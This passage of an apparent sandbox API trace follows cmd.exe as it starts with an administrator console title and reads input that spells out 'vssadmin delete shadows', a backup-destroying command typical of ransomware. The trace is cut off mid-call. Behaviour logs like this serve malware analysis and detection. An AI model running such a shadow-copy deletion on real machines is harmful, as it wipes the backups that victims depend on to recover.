returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a29a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a29a360, cchData=32 | out: lpLCData="Sat") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a29a700, cchData=32 | out: lpLCData="Sun") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a287b40, cchData=8 | out: lpLCData=".") returned 2 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a29a4e0, cchData=8 | out: lpLCData=",") returned 2 [0065.426] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0065.429] GetProcessHeap () returned 0x450000 [0065.429] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x4695c0 [0065.429] GetConsoleTitleW (in: lpConsoleTitle=0x4695c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0065.429] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.429] GetFileType (hFile=0x100) returned 0x3 [0065.450] BrandingFormatString () returned 0x4697e0 [0065.672] GetVersion () returned 0x1db10106 [0065.672] _vsnwprintf (in: _Buffer=0x2ef950, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2ef8e8 | out: _Buffer="6.1.7601") returned 8 [0065.672] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.672] GetFileType (hFile=0x100) returned 0x3 [0065.673] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a296340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0065.673] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a296340, nSize=0x2000, Arguments=0x2ef8f0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0065.674] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0065.674] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2ef878, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef878*=0x24, lpOverlapped=0x0) returned 1 [0065.674] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef918 | out: _Buffer="\r\n") returned 2 [0065.674] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.674] GetFileType (hFile=0x100) returned 0x3 [0065.674] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.674] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef8e8*=0x2, lpOverlapped=0x0) returned 1 [0065.675] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2ef918 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0065.675] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.675] GetFileType (hFile=0x100) returned 0x3 [0065.675] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0065.675] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef8e8*=0x3f, lpOverlapped=0x0) returned 1 [0065.675] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef918 | out: _Buffer="\r\n") returned 2 [0065.675] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.675] GetFileType (hFile=0x100) returned 0x3 [0065.675] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.675] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef8e8*=0x2, lpOverlapped=0x0) returned 1 [0065.676] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0065.676] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0065.676] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0065.677] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0065.677] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.677] GetFileType (hFile=0xa8) returned 0x3 [0065.677] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0065.677] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2ef740 | out: TokenHandle=0x2ef740*=0x0) returned 0xc000007c [0065.678] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2ef740 | out: TokenHandle=0x2ef740*=0x50) returned 0x0 [0065.678] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2ef750, TokenInformationLength=0x4, ReturnLength=0x2ef758 | out: TokenInformation=0x2ef750, ReturnLength=0x2ef758) returned 0x0 [0065.678] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2ef758, TokenInformationLength=0x4, ReturnLength=0x2ef750 | out: TokenInformation=0x2ef758, ReturnLength=0x2ef750) returned 0x0 [0065.678] NtClose (Handle=0x50) returned 0x0 [0065.678] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x2ef720, nSize=0x0, Arguments=0x2ef728 | out: lpBuffer="韠F") returned 0xf [0065.678] GetProcessHeap () returned 0x450000 [0065.679] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x218) returned 0x451ab0 [0065.679] GetConsoleTitleW (in: lpConsoleTitle=0x2ef770, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0065.679] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0065.680] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.682] GetProcessHeap () returned 0x450000 [0065.682] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451ab0 | out: hHeap=0x450000) returned 1 [0065.682] LocalFree (hMem=0x4697e0) returned 0x0 [0065.682] GetProcessHeap () returned 0x450000 [0065.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46aa10 | out: hHeap=0x450000) returned 1 [0065.683] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef458 | out: _Buffer="\r\n") returned 2 [0065.683] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.683] GetFileType (hFile=0x100) returned 0x3 [0065.683] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.684] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef428, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef428*=0x2, lpOverlapped=0x0) returned 1 [0065.684] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.684] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.684] _vsnwprintf (in: _Buffer=0x4a27eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2ef468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.685] _vsnwprintf (in: _Buffer=0x4a27ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2ef468 | out: _Buffer=">") returned 1 [0065.685] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.685] GetFileType (hFile=0x100) returned 0x3 [0065.685] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.685] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2ef458, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef458*=0x26, lpOverlapped=0x0) returned 1 [0065.685] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.685] GetFileType (hFile=0xa8) returned 0x3 [0065.685] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.686] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.686] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0065.688] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.688] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.688] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0065.688] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.688] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.689] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0065.689] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.689] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.689] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0065.689] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.689] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.690] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0065.690] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.690] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.690] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0065.690] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.690] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.690] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0065.691] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.691] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.691] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0065.691] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.691] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.691] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0065.691] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.691] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.692] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0065.692] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.692] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.692] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0065.692] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.692] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.692] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0065.693] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.693] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.693] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0065.693] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.693] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.693] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0065.694] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.694] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.694] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0065.694] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.694] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.694] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0065.695] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.695] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.695] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0065.695] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.695] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.696] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0065.696] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.696] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.696] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0065.696] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.696] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.697] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0065.697] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.697] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.697] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0065.697] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.697] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.698] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0065.698] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.698] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.698] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0065.698] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.698] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.698] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, 